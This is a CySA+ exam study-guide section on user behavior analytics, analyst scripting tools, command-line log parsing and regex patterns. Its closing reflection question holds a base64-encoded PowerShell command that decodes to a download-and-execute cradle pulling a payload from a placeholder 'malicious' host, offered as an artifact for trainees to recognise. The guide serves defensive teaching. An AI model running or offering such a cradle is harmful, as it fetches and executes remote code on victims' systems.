2.3.4. User Behavior Analysis and Scripting
💡 First Principle: Compromised credentials produce legitimate-looking authentication events — detecting them requires analyzing patterns of behavior over time rather than evaluating individual events in isolation.
User and Entity Behavior Analytics (UEBA) establishes behavioral baselines for users and systems, then flags deviations. Key use cases:
Impossible travel — A user authenticates from New York at 8:00am and from London at 8:30am. Geographic distance makes this physically impossible — either the account is compromised, or a VPN/proxy is masking location. UEBA systems calculate the implied travel speed and flag impossible combinations.
Abnormal account activity — Login at unusual hours, access to unusual resources, bulk data downloads, access from unusual devices or locations. The baseline is built over days to weeks of observed behavior; deviations trigger risk scores that feed into SIEM alerting or just-in-time MFA challenges.
Scripting for security analysts — CySA+ expects working knowledge of scripting tools used in security operations:
| Tool | Primary Security Use Cases |
|---|---|
| Python | Log parsing, API calls to threat intel platforms, custom SIEM integrations, malware analysis scripts |
| PowerShell | Windows administration, Active Directory queries, log collection, incident response automation |
| Shell script (Bash) | Linux log parsing, automated file analysis pipelines, network tool automation |
| Regular expressions | Log parsing patterns, IOC extraction (IPs, hashes, URLs from log files), SIEM rule creation |
| JSON | Parsing API responses from SIEM, threat intel feeds, cloud service audit logs |
| XML | Parsing SAML assertions, Windows event log XML format, some vulnerability scanner outputs |
For the exam: you won't need to write complex scripts, but you will see PowerShell and Python snippets in scenario questions and need to understand what they do. A PowerShell command using Invoke-Expression with base64-encoded input is an obfuscation red flag, for example.
⚠️ Exam Trap: PowerShell is both an administrative tool and a favorite attacker tool — because it's already installed on every Windows system, has deep OS access, and its activity can be logged (but often isn't, by default). PowerShell logging (module logging, script block logging, transcription) must be explicitly enabled to capture what scripts executed.
Parsing Logs with the Command Line and Regex
CS0-003 explicitly lists regular expressions and shell scripting (grep, awk, sed, cut) among the analyst's tools — you will be asked to read a regex and to know which tool extracts what from a raw log. The core CLI toolkit:
| Tool | What it does | Example |
|---|---|---|
| grep | print lines matching a pattern (-E extended / -P Perl regex) | grep "Failed password" /var/log/auth.log |
| awk | split each line into fields and act on them | awk '{print $9}' access.log (9th field) |
| cut | extract columns by a delimiter | cut -d',' -f3 data.csv (3rd CSV field) |
| sed | stream-edit / substitute text | sed 's/error/ERROR/g' app.log |
| sort / uniq -c | order lines and count occurrences | ... | sort | uniq -c | sort -rn |
| jq | query and filter JSON (CloudTrail, AWS CLI) | jq '.Records[].eventName' trail.json |
| tail -f / head | follow live logs / show first lines | tail -f /var/log/syslog |
A classic pipeline — the top source IPs by failed SSH login:
grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head
Regex essentials (used by grep, SIEM correlation rules, and DLP):
| Token | Matches |
|---|---|
^ / $ | start / end of line |
\d or [0-9] | a single digit |
\b | a word boundary |
. / .* | any character / any run of characters |
{n,m} | between n and m repetitions |
( ) | a capture group |
Common patterns: IPv4 \b(\d{1,3}\.){3}\d{1,3}\b; email [\w.%+-]+@[\w.-]+\.[A-Za-z]{2,}. On the exam you must recognize what a pattern searches for — e.g. ^Failed password.*from (\d{1,3}\.){3}\d{1,3} finds failed SSH logins and captures the source IP.
Raw log formats to recognize:
- Linux auth.log:
May 3 10:12:44 host sshd[2311]: Failed password for root from 203.0.113.7 port 4522 ssh2 - Apache access log:
203.0.113.7 - - [03/May/2025:10:12:44] "GET /admin HTTP/1.1" 401 512 - Windows Security event: structured EVTX/XML with fields like
EventID,TargetUserName, andLogonType(see 2.2.2) - AWS CloudTrail: JSON with
eventName,sourceIPAddress, anduserIdentity, filtered withjq
⚠️ Exam Trap: Match the tool to the task — grep finds lines, awk/cut extract fields, sort | uniq -c counts. And a regex question is really asking "what would this pattern match?"
Reflection Question: An analyst reviews PowerShell logs and finds this command was executed: powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBhAGwAaQBjAGkAbwB1AHMALwBwAGEAeQBsAG8AYQBkACcAKQA=. What does the -enc flag indicate, and what investigation step should the analyst take first?
